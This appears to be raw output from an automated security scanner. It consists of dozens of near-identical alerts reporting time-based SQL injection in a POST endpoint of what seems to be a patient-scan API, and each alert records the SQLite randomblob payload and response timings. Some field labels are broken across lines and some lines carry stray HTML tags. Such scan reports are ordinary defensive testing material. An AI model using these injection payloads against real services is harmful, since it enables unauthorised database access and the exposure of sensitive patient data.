Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [778] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,928] milliseconds, when the original unmodified query with value [200] took [550] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [779] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,236] milliseconds, when the original unmodified query with value [584] took [262] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [779] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the
Info	request to take [1,236] milliseconds, when the original unmodified query with value [584] took [262] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [784] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,747] milliseconds, when the original unmodified query with value [12] took [783] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [784] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,747] milliseconds, when the original unmodified query with value [12] took [783] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [790] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [960] milliseconds, when the original unmodified query with value [323.5856150907629] took [261] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [790] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [960] milliseconds, when the original unmodified query with value [323.5856150907629] took [261] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [801] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,268] milliseconds, when the original unmodified query with value [1010] took [773] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [801] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,268] milliseconds, when the original unmodified query with value [1010] took [773] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [806] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [960] milliseconds, when the original unmodified query with value [200] took [771] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [806] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [960] milliseconds, when the original unmodified query with value [200] took [771] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [917] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,191] milliseconds, when the original unmodified query with value [467] took [861] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [917] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,191] milliseconds, when the original unmodified query with value [467] took [861] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [984] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,061] milliseconds, when the original unmodified query with value [232] took [764] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [984] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,061] milliseconds, when the original unmodified query with value [232] took [764] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [996] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,290] milliseconds, when the original unmodified query with value [213] took [415] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [996] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,290] milliseconds, when the original unmodified query with value [213] took [415] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,044] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,513] milliseconds, when the original unmodified query with value [8] took [791] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,044] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,513] milliseconds, when the original unmodified query with value [8] took [791] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,101] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,192] milliseconds, when the original unmodified query with value [230] took [2,527] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,101] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,192] milliseconds, when the original unmodified query with value [230] took [2,527] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,171] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,507] milliseconds, when the original unmodified query with value [166] took [1,045] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,171] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,507] milliseconds, when the original unmodified query with value [166] took [1,045] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,174] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,392] milliseconds, when the original unmodified query with value [312.13463469860596] took [1,075] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,174] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,392] milliseconds, when the original unmodified query with value [312.13463469860596] took [1,075] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,186] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,239] milliseconds, when the original unmodified query with value [195] took [529] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,186] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,239] milliseconds, when the original unmodified query with value [195] took [529] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,213] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the

	request to take [2,097] milliseconds, when the original unmodified query with value [4] took [2,015] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,213] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,097] milliseconds, when the original unmodified query with value [4] took [2,015] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,216] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,157] milliseconds, when the original unmodified query with value [122] took [787] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,216] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,157] milliseconds, when the original unmodified query with value [122] took [787] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,231] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,606] milliseconds, when the original unmodified query with value [76] took [1,223] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,231] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,606] milliseconds, when the original unmodified query with value [76] took [1,223] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,256] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,517] milliseconds, when the original unmodified query with value [178] took [4,375] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,256] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,517] milliseconds, when the original unmodified query with value [178] took [4,375] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,262] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,119] milliseconds, when the original unmodified query with value [533] took [1,088] milliseconds.
	The query time is controllable using parameter value [case randomblob(1000000) when not

Other Info	null then 1 else 1 end], which caused the request to take [1,262] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,119] milliseconds, when the original unmodified query with value [533] took [1,088] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,276] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,716] milliseconds, when the original unmodified query with value [203] took [1,897] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,276] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,716] milliseconds, when the original unmodified query with value [203] took [1,897] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,283] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,790] milliseconds, when the original unmodified query with value [213] took [997] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,283] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,790] milliseconds, when the original unmodified query with value [213] took [997] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,373] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,763] milliseconds, when the original unmodified query with value [215] took [2,840] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,373] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,763] milliseconds, when the original unmodified query with value [215] took [2,840] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,382] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,338] milliseconds, when the original unmodified query with value [193] took [1,793] milliseconds.</p>
Other	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,382] milliseconds, parameter</p>

Info	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,338] milliseconds, when the original unmodified query with value [193] took [1,793] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,388] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,597] milliseconds, when the original unmodified query with value [195] took [1,597] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,388] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,597] milliseconds, when the original unmodified query with value [195] took [1,597] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,506] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,866] milliseconds, when the original unmodified query with value [10] took [2,279] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,506] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,866] milliseconds, when the original unmodified query with value [10] took [2,279] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,507] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,071] milliseconds, when the original unmodified query with value [173] took [1,748] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,507] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,071] milliseconds, when the original unmodified query with value [173] took [1,748] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,522] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,450] milliseconds, when the original unmodified query with value [237] took [1,040] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,522] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,450] milliseconds, when the original unmodified query with value [237] took [1,040] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,538] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,755] milliseconds, when the original unmodified query with value [220] took [1,563] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,538] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,755] milliseconds, when the original unmodified query with value [220] took [1,563] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,542] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,621] milliseconds, when the original unmodified query with value [154] took [1,212] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,542] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,621] milliseconds, when the original unmodified query with value [154] took [1,212] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,548] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,063] milliseconds, when the original unmodified query with value [215] took [4,093] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,548] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,063] milliseconds, when the original unmodified query with value [215] took [4,093] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,566] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,815] milliseconds, when the original unmodified query with value [234] took [1,315] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,566] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,815] milliseconds, when the original unmodified query with value [234] took [1,315] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,711] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,112] milliseconds, when the original unmodified query with value [169] took [1,138] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,711] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,112] milliseconds, when the original unmodified query with value [169] took [1,138] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,721] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,803] milliseconds, when the original unmodified query with value [222] took [2,106] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,721] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,803] milliseconds, when the original unmodified query with value [222] took [2,106] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,722] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,773] milliseconds, when the original unmodified query with value [183] took [840] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,722] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,773] milliseconds, when the original unmodified query with value [183] took [840] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,729] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,726] milliseconds, when the original unmodified query with value [123] took [2,899] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,729] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,726] milliseconds, when the original unmodified query with value [123] took [2,899] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,758] milliseconds, parameter
Evidence	value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,561] milliseconds, when the original unmodified query with value [120] took [1,639] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,758] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,561] milliseconds, when the original unmodified query with value [120] took [1,639] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,094] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [7,477] milliseconds, when the original unmodified query with value [213] took [1,588] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,094] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [7,477] milliseconds, when the original unmodified query with value [213] took [1,588] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,099] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,608] milliseconds, when the original unmodified query with value [232] took [1,973] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,099] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,608] milliseconds, when the original unmodified query with value [232] took [1,973] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,236] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,021] milliseconds, when the original unmodified query with value [71] took [4,300] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,236] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,021] milliseconds, when the original unmodified query with value [71] took [4,300] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,241] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,887] milliseconds, when the original unmodified query with value [621] took [1,637] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,241] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,887] milliseconds, when the original unmodified query with value [621] took [1,637] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,463] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,987] milliseconds, when the original unmodified query with value [576] took [2,147] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,463] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,987] milliseconds, when the original unmodified query with value [576] took [2,147] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,511] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,937] milliseconds, when the original unmodified query with value [242] took [3,562] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,511] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,937] milliseconds, when the original unmodified query with value [242] took [3,562] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,847] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,154] milliseconds, when the original unmodified query with value [773] took [1,979] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,847] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,154] milliseconds, when the original unmodified query with value [773] took [1,979] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [262] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,298] milliseconds, when the original unmodified query with value [103] took [3,572] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [262] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the
Info	request to take [1,298] milliseconds, when the original unmodified query with value [103] took [3,572] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [263] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [999] milliseconds, when the original unmodified query with value [155] took [364] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [263] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [999] milliseconds, when the original unmodified query with value [155] took [364] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,092] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,188] milliseconds, when the original unmodified query with value [239] took [2,429] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,092] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,188] milliseconds, when the original unmodified query with value [239] took [2,429] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
